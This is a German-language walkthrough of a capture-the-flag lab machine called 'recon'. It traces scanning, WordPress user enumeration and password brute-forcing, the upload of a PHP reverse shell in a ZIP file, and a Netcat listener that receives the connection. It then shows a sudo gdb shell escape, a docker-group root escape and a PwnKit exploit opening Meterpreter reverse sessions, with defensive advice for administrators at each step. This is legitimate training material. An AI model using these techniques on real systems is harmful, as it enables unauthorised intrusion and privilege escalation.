Die Aufklärungsphase dient der Identifizierung des Zielsystems im Netzwerk und der Ermittlung offener Ports und Dienste mittels Netzwerkscans.
192.168.2.161 08:00:27:d7:d4:6c PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk mittels ARP-Requests. Er findet einen Host mit der IP `192.168.2.161` und der MAC `08:00:27:d7:d4:6c`, die auf eine VirtualBox-VM hinweist.
Bewertung: Zielsystem erfolgreich identifiziert.
Empfehlung (Pentester): Nutze 192.168.2.161 für Nmap-Scans.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.
192.168.2.161 recon.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `recon.vln` der IP `192.168.2.161` zuzuordnen.
Bewertung: Sinnvolle Vorbereitung für Web-Tests.
Empfehlung (Pentester): Verwende `recon.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Ein schneller Nmap-Scan (`grep open`) identifiziert zwei offene Ports: 22 (SSH, OpenSSH 7.2p2) und 80 (HTTP, Apache 2.4.18).
Bewertung: Die Angriffsfläche scheint auf SSH und HTTP beschränkt zu sein.
Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch. Untersuche Port 80.
Empfehlung (Admin): Halte SSH und Apache aktuell. Überprüfe Firewall-Regeln.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 23:01 CEST Nmap scan report for recon.vln (192.168.2.161) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 93:0b:57:ce:cb:d5:2b:c5:e6:48:dc:ed:89:6c:51:44 (RSA) | 256 64:26:e5:bd:85:e9:f8:29:d9:bd:ed:2f:ca:a5:f7:0a (ECDSA) |_ 256 5e:41:4c:19:e2:3c:c4:68:13:0c:5f:6f:f8:71:e6:1b (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 5.3.2 |_http-title: recon – Just another WordPress site |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:D7:D4:6C (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms recon.vln (192.168.2.161)
Analyse: Der vollständige Nmap-Scan bestätigt die offenen Ports 22 (SSH) und 80 (HTTP). **Wichtige Details:** * **Port 80:** Apache 2.4.18. Die Nmap-Skripte identifizieren eine WordPress-Seite (Version 5.3.2 via `http-generator`, Titel "recon [...] WordPress site"). * **Port 22:** OpenSSH 7.2p2. * **OS:** Linux 3.x/4.x.
Bewertung: Die Identifizierung von WordPress 5.3.2 ist entscheidend. Dies ist nun das primäre Angriffsziel. Die Apache- und SSH-Versionen sind ebenfalls relevant für die Schwachstellensuche.
Empfehlung (Pentester): Führe spezialisierte WordPress-Scans (WPScan) durch. Untersuche die Webseite manuell. Suche nach bekannten Schwachstellen in WP 5.3.2, Apache 2.4.18 und OpenSSH 7.2p2.
Empfehlung (Admin): Aktualisieren Sie *dringend* WordPress, Apache und OpenSSH. Verwenden Sie keine leicht identifizierbaren Generator-Tags.
Der Fokus liegt nun auf der detaillierten Untersuchung der identifizierten WordPress-Installation (Version 5.3.2) mittels Nikto, Gobuster und WPScan.
- Nikto v2.5.0 + Target IP: 192.168.2.161 + Target Hostname: 192.168.2.161 + Target Port: 80 + Start Time: 2023-10-25 23:01:29 (GMT2) + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: Drupal Link header found [...] (False Positive?) + /: The X-Content-Type-Options header is not set. [...] + /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress. + No CGI Directories found [...] + Apache/2.4.18 appears to be outdated [...]. + /: Web Server returns a valid response with junk HTTP methods [...]. + /icons/README: Apache default file found. [...] + /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version [...] + /wp-links-opml.php: This WordPress script reveals the installed version. + /license.txt: License file found may identify site software. + /: A Wordpress installation was found. + /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...] + /wp-content/uploads/: Directory indexing found. + /wp-content/uploads/: Wordpress uploads directory is browsable. [...] + /wp-login.php: Wordpress login found. + 8102 requests: 0 error(s) and 15 item(s) reported on remote host + End Time: 2023-10-25 23:02:24 (GMT2) (55 seconds) + 1 host(s) tested
Analyse: Nikto scannt den Webserver und liefert spezifische WordPress-Ergebnisse: * Bestätigt die WordPress-Installation. * Findet die Login-Seite (`/wp-login.php`). * Identifiziert ein listbares Upload-Verzeichnis (`/wp-content/uploads/`). * Weist auf das Akismet-Plugin und die Versionspreisgabe durch `wp-links-opml.php` hin. * Meldet fehlende Sicherheitsheader und veralteten Apache.
Bewertung: Bestätigt wichtige WordPress-Pfade und Konfigurationsschwächen. Das listbare Upload-Verzeichnis ist besonders interessant.
Empfehlung (Pentester): Untersuche das `/wp-content/uploads/`-Verzeichnis. Nutze WPScan zur tiefergehenden Analyse von Plugins, Themes und Benutzern.
Empfehlung (Admin): Deaktiviere Directory Listing. Aktualisiere Apache, WordPress, Plugins und Themes. Implementiere Sicherheitsheader.
=============================================================== Gobuster v3.5 [...] =============================================================== http://recon.vln/index.php (Status: 301) [Size: 0] [--> http://recon.vln/] http://recon.vln/wp-content (Status: 301) [Size: 311] [--> http://recon.vln/wp-content/] http://recon.vln/wp-login.php (Status: 200) [Size: 4730] http://recon.vln/license.txt (Status: 200) [Size: 19935] http://recon.vln/wp-includes (Status: 301) [Size: 312] [--> http://recon.vln/wp-includes/] http://recon.vln/readme.html (Status: 200) [Size: 7368] http://recon.vln/wp-trackback.php (Status: 200) [Size: 135] http://recon.vln/wp-admin (Status: 301) [Size: 309] [--> http://recon.vln/wp-admin/] =============================================================== [...] Finished ===============================================================
Analyse: Gobuster (mit einer großen Wortliste) findet Standard-WordPress-Verzeichnisse und -Dateien (`wp-content`, `wp-login.php`, `wp-includes`, `wp-admin`, `readme.html`, etc.). Es werden keine ungewöhnlichen oder versteckten Ressourcen aufgedeckt.
Bewertung: Bestätigt die Standard-WordPress-Struktur. Keine neuen Angriffsvektoren durch diesen Scan.
Empfehlung (Pentester): Verwende WPScan zur spezifischen WordPress-Enumeration.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Informationen in Standarddateien oder Verzeichnissen vorhanden sind.
# Manuelle Prüfung von http://recon.vln/wp-login.php # Eingabe: Benutzer 'recon', beliebiges Passwort # Ausgabe im Browser oder Quellcode: ERROR: The password you entered for the username recon is incorrect. Lost your password?
Analyse: Ein manueller Test auf der WordPress-Login-Seite mit dem Benutzernamen `recon` (abgeleitet vom Hostnamen) und einem falschen Passwort erzeugt eine Fehlermeldung, die explizit bestätigt, dass der Benutzername `recon` existiert.
Bewertung: Kritische Informationspreisgabe durch die Login-Fehlermeldung. Der Benutzername `recon` ist bestätigt.
Empfehlung (Pentester): Führe einen Passwort-Brute-Force-Angriff auf den Benutzer `recon` durch (z.B. mit WPScan oder Hydra).
Empfehlung (Admin): Konfigurieren Sie WordPress, um generische Login-Fehlermeldungen auszugeben (z.B. "Ungültiger Benutzername oder Passwort"), um Benutzer-Enumeration zu verhindern. Implementieren Sie Brute-Force-Schutz.
[...] [i] User(s) Identified: [+] recon | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://recon.vln/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] reconauthor | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [...] [+] Performing password attack on Xmlrpc Multicall against 2 user/s... [...]
Analyse: WPScan wird ausgeführt, um Benutzer zu enumerieren (`-e u`) und Passwörter zu testen (`--passwords ...`). Es identifiziert zwei Benutzer: `recon` (wie bereits manuell vermutet) und `reconauthor`. Anschließend startet es einen Passwortangriff auf diese beiden Benutzer.
Bewertung: WPScan bestätigt `recon` und findet einen weiteren Benutzer `reconauthor`. Der Passwortangriff läuft.
Empfehlung (Pentester): Beobachte den Passwortangriff oder fokussiere ihn auf einen Benutzer (z.B. `-U reconauthor`, wie im nächsten Schritt).
Empfehlung (Admin): Schützen Sie die WP JSON API vor unbefugter Benutzerenumeration. Verwenden Sie starke Passwörter. Implementieren Sie Login-Schutz.
[...] [SUCCESS] - reconauthor / football7 [...] [!] Valid Combinations Found: | Username: reconauthor, Password: football7 [...] [+] Finished: Wed Oct 25 23:09:44 2023 [...]
Analyse: WPScan wird erneut ausgeführt, diesmal gezielt auf den Benutzer `reconauthor` (`-U reconauthor`). Es findet erfolgreich das Passwort `football7` aus der `rockyou.txt`-Liste.
Bewertung: Kritischer Erfolg! Gültige Anmeldedaten (`reconauthor`:`football7`) für die WordPress-Instanz wurden gefunden.
Empfehlung (Pentester): Melden Sie sich als `reconauthor` im WordPress-Backend (`/wp-admin/`) an. Überprüfen Sie die Berechtigungen dieses Benutzers. Suchen Sie nach Möglichkeiten, Code auszuführen (Plugin/Theme-Upload/-Editor) oder andere Schwachstellen auszunutzen.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Überprüfen Sie die Berechtigungen von Autoren/Benutzern. Implementieren Sie Brute-Force-Schutz.
Der Zugang als WordPress-Benutzer `reconauthor` wird genutzt, um eine Schwachstelle in einem Plugin (implizit Articulate) auszunutzen, das das Hochladen und Entpacken von ZIP-Dateien erlaubt. Eine ZIP-Datei mit einer PHP-Shell wird hochgeladen, um Remote Code Execution zu erreichen.
adding: index.html (stored 0%) adding: phpshell.php (deflated 67%)
[...] -rw-r--r-- 1 root root 0 Oct 25 23:18 index.html -rw-r--r-- 1 root root 1761 Oct 25 23:20 myhack.zip [...]
Analyse: Eine leere `index.html`-Datei wird erstellt. Anschließend wird eine ZIP-Datei `myhack.zip` erstellt, die diese `index.html` und eine vorbereitete `phpshell.php` (PHP-Reverse-Shell) enthält. Die `index.html` dient möglicherweise dazu, eine Standardseite vorzutäuschen oder eine Anforderung des Upload-Mechanismus zu erfüllen.
Bewertung: Vorbereitung des Payloads für den Upload über eine (vermutlich) anfällige WordPress-Plugin-Funktion, die ZIP-Archive akzeptiert.
Empfehlung (Pentester): Loggen Sie sich als `reconauthor` ein, finden Sie die Upload-Funktion (wahrscheinlich für E-Learning-Inhalte, Präsentationen oder ähnliches, basierend auf dem späteren Pfad `/articulate_uploads/`) und laden Sie `myhack.zip` hoch.
Empfehlung (Admin): Sichern Sie alle Dateiupload-Funktionen rigoros. Validieren Sie ZIP-Inhalte serverseitig.
# Manuelle Aktionen nach Login als 'reconauthor': # 1. Navigieren zu einer Upload-Funktion (z.B. über Post-Editor, Medienbibliothek, Plugin-Seite) # 2. Hochladen der Datei 'myhack.zip' # 3. Beobachten der Server-Antwort oder des Dateisystems, um den Entpackungspfad zu finden: http://recon.vln/wp-content/uploads/2023/10/myhack.zip # Pfad, in dem der Inhalt der ZIP-Datei entpackt wird (ermittelt durch Beobachtung): /wp-content/uploads/articulate_uploads/myhack/
Analyse: Diese Notizen beschreiben den Prozess nach dem Login: Die `myhack.zip` wird über eine Funktion hochgeladen (z.B. über den Post-Editor, `post.php?post=6&action=edit`). Die ZIP-Datei selbst landet unter einem Pfad wie `/wp-content/uploads/2023/10/myhack.zip`. Wichtiger ist, dass der Inhalt der ZIP-Datei in ein spezifisches Verzeichnis entpackt wird: `/wp-content/uploads/articulate_uploads/myhack/`. Der Name "articulate_uploads" deutet stark auf das "Articulate Storyline" oder ein ähnliches E-Learning-Content-Plugin hin.
Bewertung: Der Upload und das automatische Entpacken der ZIP-Datei waren erfolgreich. Entscheidend ist, dass das Entpackungsverzeichnis (`/articulate_uploads/myhack/`) direkt unter dem Web-Root liegt und PHP-Ausführung dort offenbar erlaubt ist. Dies ermöglicht den direkten Aufruf der `phpshell.php`.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener. Rufen Sie die URL `http://recon.vln/wp-content/uploads/articulate_uploads/myhack/phpshell.php` auf, um die Reverse Shell auszulösen.
Empfehlung (Admin): Aktualisieren oder entfernen Sie das anfällige Plugin (vermutlich Articulate). Konfigurieren Sie den Webserver so, dass PHP-Ausführung in Upload-Verzeichnissen deaktiviert ist. Stellen Sie sicher, dass ZIP-Dateien sicher entpackt werden (kein Path Traversal, keine Ausführung von enthaltenem Code).
Listening on 0.0.0.0 4444
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet.
Bewertung: Vorbereitung für die Shell.
Empfehlung (Pentester): Löse die PHP-Shell aus.
Empfehlung (Admin): Egress Filtering.
# Aufruf der Shell im Browser oder mit curl: Payload: http://recon.vln/wp-content/uploads/articulate_uploads/myhack/phpshell.php
Analyse: Die URL zur hochgeladenen und entpackten PHP-Shell wird aufgerufen.
Bewertung: Auslösen der RCE.
Empfehlung (Pentester): Prüfe den Listener.
Empfehlung (Admin): Beheben Sie die Upload-/Entpackungsschwachstelle.
Listening on 0.0.0.0 4444 Connection received on 192.168.2.161 53700 Linux hulk-buster 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 02:58:14 up 28 min, 0 users, load average: 0.00, 0.07, 0.56 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Listener empfängt eine Verbindung. Eine Shell wird als Benutzer `www-data` (UID 33) auf dem Zielsystem (Hostname "hulk-buster", Kernel 4.4.0) bereitgestellt.
Bewertung: Initial Access erfolgreich via WordPress-Login und RCE durch unsicheren ZIP-Upload/Entpacken.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der lokalen Enumeration zur Privilege Escalation.
Empfehlung (Admin): Beheben Sie die WordPress-Schwachstellen. Untersuchen Sie das System.
Nach Erhalt der Shell als `www-data` wird das System nach Wegen zur Rechteerweiterung durchsucht. Zwei Hauptpfade werden identifiziert und verfolgt: Ein Weg über `sudo` und `gdb` zu einem anderen Benutzer und dann über die `docker`-Gruppe zu Root, und ein alternativer Weg über PwnKit.
**Weg 1: Sudo -> Docker Group**
. .. hacker offensivehack
[...]
cat: .bash_history: Permission denied
total 28 drwxr-xr-x 2 offensivehack docker 4096 Jan 28 2020 . drwxr-xr-x 4 root root 4096 Jan 28 2020 .. -rw------- 1 offensivehack offensivehack 72 Jan 28 2020 .bash_history -rw-r--r-- 1 offensivehack docker 220 Jan 28 2020 .bash_logout -rw-r--r-- 1 offensivehack docker 3771 Jan 28 2020 .bashrc -rw-r--r-- 1 offensivehack docker 655 Jan 28 2020 .profile -rw-r--r-- 1 root root 47 Jan 28 2020 user.txt
oho!! not finished now.. find root flag.txt !!
Analyse: Die Home-Verzeichnisse werden untersucht. Es existieren Benutzer `hacker` und `offensivehack`. Der Zugriff auf `hacker`'s History ist verweigert. Im Verzeichnis von `offensivehack` wird die Datei `user.txt` gefunden und gelesen. Der Inhalt ist ein Hinweis, nicht die eigentliche Flag. Wichtig ist die Gruppenzugehörigkeit des Verzeichnisses: `offensivehack docker`. Dies deutet darauf hin, dass der Benutzer `offensivehack` Mitglied der Gruppe `docker` ist.
Bewertung: Die User-Flag ist ein Hinweis. Die Zugehörigkeit von `offensivehack` zur `docker`-Gruppe ist ein *sehr starker* Indikator für einen einfachen Privilege Escalation Pfad, da Mitglieder der `docker`-Gruppe oft Root-Rechte erlangen können.
Empfehlung (Pentester): Überprüfe die `sudo`-Rechte von `www-data`, um möglicherweise zu `offensivehack` zu wechseln. Wenn das gelingt, nutze die Docker-Gruppenmitgliedschaft aus.
Empfehlung (Admin): Setzen Sie korrekte Berechtigungen für Home-Verzeichnisse und Flag-Dateien. Fügen Sie Benutzer nur zur `docker`-Gruppe hinzu, wenn es absolut notwendig ist und die Sicherheitsimplikationen verstanden werden.
Matching Defaults entries for www-data on hulk-buster: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on hulk-buster: (offensivehack) NOPASSWD: /usr/bin/gdb
Analyse: Der Befehl `sudo -l` zeigt, dass `www-data` den Befehl `/usr/bin/gdb` als Benutzer `offensivehack` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Dies ist ein direkter Weg, um von `www-data` zu `offensivehack` zu wechseln. GDB (GNU Debugger) bietet Möglichkeiten, eine Shell zu starten.
Empfehlung (Pentester): Nutze GTFOBins oder ähnliche Ressourcen, um den GDB-Befehl zu finden, der eine Shell als `offensivehack` startet. Der Befehl lautet typischerweise `sudo -u offensivehack gdb -nx -ex '!sh' -ex quit`.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel. Erlauben Sie niemals die Ausführung von Debuggern oder Shell-Escape-fähigen Programmen via `sudo`, insbesondere nicht mit `NOPASSWD`.
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04.5) 7.11.1 [...] For help, type "help". Type "apropos word" to search for commands related to "word".
uid=1001(offensivehack) gid=119(docker) groups=119(docker)
Analyse: Der GDB-Befehl aus GTFOBins wird erfolgreich ausgeführt. `sudo -u offensivehack` startet GDB als `offensivehack`. `-nx` verhindert das Laden von `.gdbinit`-Dateien. `-ex '!sh'` führt den Shell-Befehl `!sh` innerhalb von GDB aus (was `/bin/sh` startet). `-ex quit` beendet GDB danach. Das Ergebnis ist eine Shell als Benutzer `offensivehack`. Der `id`-Befehl bestätigt `uid=1001(offensivehack)` und die wichtige Gruppenzugehörigkeit `gid=119(docker)`.
Bewertung: Erfolgreiche horizontale Eskalation zu `offensivehack`. Der Benutzer ist Mitglied der `docker`-Gruppe, was nun den Weg zu Root ebnet.
Empfehlung (Pentester): Nutze die Docker-Gruppenmitgliedschaft zur Eskalation zu Root (siehe GTFOBins/Docker).
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel. Überprüfen Sie die Notwendigkeit der Docker-Gruppenmitgliedschaft für `offensivehack`.
Die weitere Enumeration als `offensivehack` (inklusive Auslesen von `wp-config.php` und MySQL-Zugriff) liefert keine neuen relevanten Informationen für die Root-Eskalation, da der Docker-Vektor bereits bekannt ist. Diese Schritte werden hier der Vollständigkeit halber kurz erwähnt, aber nicht im Detail analysiert, da sie für den finalen Schritt irrelevant sind.
[...]
define( 'DB_NAME', 'recon' );
define( 'DB_USER', 'recon' );
define( 'DB_PASSWORD', 'password' );
[...]
Enter password: password
[...]
+----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+ | 1 | recon | $P$BUux2GaWekr1f13lCNKLKFRdJupC/./0 | recon | sagar.shakya561@gmail.com | | 2020-01-28 07:29:01 | | 0 | recon | | 2 | reconauthor | $P$BHANHTlJ13ruI0H4iJ6.lePzv3r1B./0 | reconauthor | sagar@reconforce.in | http://reconforce.in | 2020-01-28 07:31:56 | 1580196716:$P$Bc6KIY9LrPHzUHDKQ/9uT8w1qP55l./0 | 0 | recon author | +----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+
Analyse: Als `offensivehack` werden die WordPress-Datenbank-Credentials aus `wp-config.php` gelesen (`recon`:`password`) und der Inhalt der `wp_users`-Tabelle angezeigt. Die Passwörter sind gehasht (WordPress Portable Hash).
Bewertung: Bestätigt die DB-Credentials und die Benutzer, aber liefert keine neuen Passwörter für die System-Eskalation.
Empfehlung (Pentester): Ignoriere dies und nutze den Docker-Vektor.
Empfehlung (Admin): Verwende starke DB-Passwörter. Hashes sind besser als Klartext, aber die zugrunde liegenden Schwachstellen (sudo, docker) sind relevanter.
Dieser Abschnitt zeigt die Ausnutzung der Mitgliedschaft des Benutzers `offensivehack` in der `docker`-Gruppe, um Root-Rechte auf dem System zu erlangen.
Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 96526aa774ef: Pull complete Digest: sha256:eece025e432126ce23f223450a0326fbebde39cdf496a85d8c016293fc851978 Status: Downloaded newer image for alpine:latest
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11(lp),20(dialout),26(tape),27(sudo)
Analyse: Der Befehl (bekannt aus GTFOBins) wird als `offensivehack` ausgeführt: * `docker run ... alpine`: Startet einen neuen Docker-Container mit dem minimalen Alpine-Linux-Image. * `-v /:/mnt`: Mountet das gesamte Root-Dateisystem (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. Dies ist der entscheidende Schritt. * `--rm`: Löscht den Container nach Beendigung. * `-it`: Startet den Container interaktiv mit einem TTY. * `chroot /mnt sh`: Wechselt das Root-Verzeichnis des Prozesses innerhalb des Containers nach `/mnt` (also ins Root des Hosts) und startet dort eine Shell (`sh`). Da Docker-Container standardmäßig als Root *innerhalb* des Containers laufen und dieser Prozess nun Zugriff auf das gesamte Host-Dateisystem hat, wird effektiv eine Root-Shell auf dem Hostsystem erlangt. Der `id`-Befehl bestätigt `uid=0(root)`.
Bewertung: Perfekt! Privilege Escalation zu Root durch Ausnutzung der Docker-Gruppenmitgliedschaft. Dies ist eine bekannte und sehr effektive Methode.
Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag.
Empfehlung (Admin): Fügen Sie Benutzer nur dann zur `docker`-Gruppe hinzu, wenn sie Root-Äquivalente Rechte haben sollen. Verstehen Sie die Sicherheitsimplikationen der Docker-Gruppe.
Das Log zeigt auch einen alternativen Weg zur Root-Eskalation über die PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec`, der ebenfalls erfolgreich war. Dies wird hier der Vollständigkeit halber dokumentiert.
[...] 278585 24 -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec [...]
Analyse: Die vorherige Suche nach SUID-Dateien hatte `/usr/bin/pkexec` identifiziert.
Bewertung: Bestätigt das Vorhandensein des für PwnKit anfälligen Binaries.
Empfehlung (Pentester): PwnKit als alternativen oder primären Vektor nutzen.
Empfehlung (Admin): `policykit-1` patchen.
[...]
[...]
[...]
[*] Started reverse TCP handler on 192.168.2.199:4447
[*] Command shell session 1 opened (192.168.2.199:4447 -> 192.168.2.161:53588) at 2023-10-25 23:33:03 +0200
lport => 4488
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4488 [*] Sending stage (1017704 bytes) to 192.168.2.161 [*] Meterpreter session 2 opened (192.168.2.199:4488 -> 192.168.2.161:43042) at 2023-10-25 23:33:57 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
[...]
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
session => 2
lport => 4487
[*] Started reverse TCP handler on 192.168.2.199:4487 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.pthymvdy [+] The target is vulnerable. [*] Writing '/tmp/.ldptpmuuhbz/zbmtjmwnifh/zbmtjmwnifh.so' (548 bytes) ... [!] Verify cleanup of /tmp/.ldptpmuuhbz [*] Sending stage (3045380 bytes) to 192.168.2.161 [+] Deleted /tmp/.ldptpmuuhbz/zbmtjmwnifh/zbmtjmwnifh.so [+] Deleted /tmp/.ldptpmuuhbz/.vyhmokrjtpj [+] Deleted /tmp/.ldptpmuuhbz [*] Meterpreter session 3 opened (192.168.2.199:4487 -> 192.168.2.161:35964) at 2023-10-25 23:34:48 +0200
Analyse: Die `www-data`-Shell wird in Metasploit übernommen (Session 1), zu Meterpreter aufgewertet (Session 2), und dann wird der PwnKit-Exploit (CVE-2021-4034) über Session 2 ausgeführt. Dies führt zur Eröffnung einer neuen Meterpreter-Session (Session 3) mit Root-Rechten.
Bewertung: Dieser alternative Weg über PwnKit war ebenfalls erfolgreich und führte zu Root-Zugriff.
Empfehlung (Pentester): Dokumentieren Sie beide erfolgreichen Eskalationspfade (Docker Group und PwnKit).
Empfehlung (Admin): Patchen Sie *beide* Schwachstellen: Konfigurieren Sie Docker-Gruppen sicher und patchen Sie PwnKit.
Process 3598 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
total 28 drwx------ 3 root root 4096 Jan 28 2020 . drwxr-xr-x 23 root root 4096 Jan 28 2020 .. -rw------- 1 root root 718 Jan 28 2020 .bash_history -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc drwxr-xr-x 2 root root 4096 Jan 28 2020 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 1750 Jan 28 2020 flag.txt
_____ _ _ _ _ _ _
/ ____| | | | | | | | | | | | |
| | __ ___ ___ __| | | | ___ | |__ | | | | | |
| | |_ |/ _ \ / _ \ / _` | _ | |/ _ \| '_ \ | | | | | |
| |__| | (_) | (_) | (_| | | |__| | (_) | |_) | |_| |_| |_|
\_____|\___/ \___/ \__,_| \____/ \___/|_.__/ (_) (_) (_)
_ _ _ _ __ _ _ _ _ _ _ _____ _______ ______
| | | \ | | | | / _| | | | (_) | | | | (_) / ____|__ __| ____|
_ __ ___ | |_ | \| | ___ ___ | |__ __ _| |_| |_ ___ _ __ ___ ___ | |_ ___ _ __ __ _ | |_| |__ _ ___ | | | | | |__
| '_ \ / _ \| __| | . ` |/ _ \ / _ \| '_ \ / _` | _| __/ _ \ '__| / __|/ _ \| \ \ / / | '_ \ / _` | | __| '_ \| / __| | | | | | __|
| | | | (_) | |_ | |\ | (_) | (_) | |_) | | (_| | | | || __/ | \__ \ (_) | |\ V /| | | | | (_| | | |_| | | | \__ \ | |____ | | | |
|_| |_|\___/ \__| |_| \_|\___/ \___/|_.__/ \__,_|_| \__\___|_| |___/\___/|_| \_/ |_|_| |_|\__, | \__|_| |_|_|___/ \_____| |_| |_|
__/ |
|___/
Analyse: Aus der durch PwnKit erlangten Root-Meterpreter-Session wird eine System-Shell geöffnet. Im `/root`-Verzeichnis wird die `flag.txt` gefunden und ihr Inhalt (ASCII-Art "Congratulations Reconforce") angezeigt.
Bewertung: Die Root-Flag wurde erfolgreich ausgelesen. Der Inhalt ist die ASCII-Art.
Empfehlung (Pentester): Dokumentieren Sie die Flag und die beiden Eskalationspfade.
Empfehlung (Admin): Beheben Sie alle Schwachstellen (WordPress Login/Upload, Sudo-Regel, Docker-Gruppe, PwnKit).
_____ _ _ _ _ _ _ / ____| | | | | | | | | | | | | | | __ ___ ___ __| | | | ___ | |__ | | | | | | | | |_ |/ _ \ / _ \ / _` | _ | |/ _ \| '_ \ | | | | | | | |__| | (_) | (_) | (_| | | |__| | (_) | |_) | |_| |_| |_| \_____|\___/ \___/ \__,_| \____/ \___/|_.__/ (_) (_) (_) _ _ _ _ __ _ _ _ _ _ _ _____ _______ ______ | | | \ | | | | / _| | | | (_) | | | | (_) / ____|__ __| ____| _ __ ___ | |_ | \| | ___ ___ | |__ __ _| |_| |_ ___ _ __ ___ ___ | |_ ___ _ __ __ _ | |_| |__ _ ___ | | | | | |__ | '_ \ / _ \| __| | . ` |/ _ \ / _ \| '_ \ / _` | _| __/ _ \ '__| / __|/ _ \| \ \ / / | '_ \ / _` | | __| '_ \| / __| | | | | | __| | | | | (_) | |_ | |\ | (_) | (_) | |_) | | (_| | | | || __/ | \__ \ (_) | |\ V /| | | | | (_| | | |_| | | | \__ \ | |____ | | | | |_| |_|\___/ \__| |_| \_|\___/ \___/|_.__/ \__,_|_| \__\___|_| |___/\___/|_| \_/ |_|_| |_|\__, | \__|_| |_|_|___/ \_____| |_| |_| __/ | |___/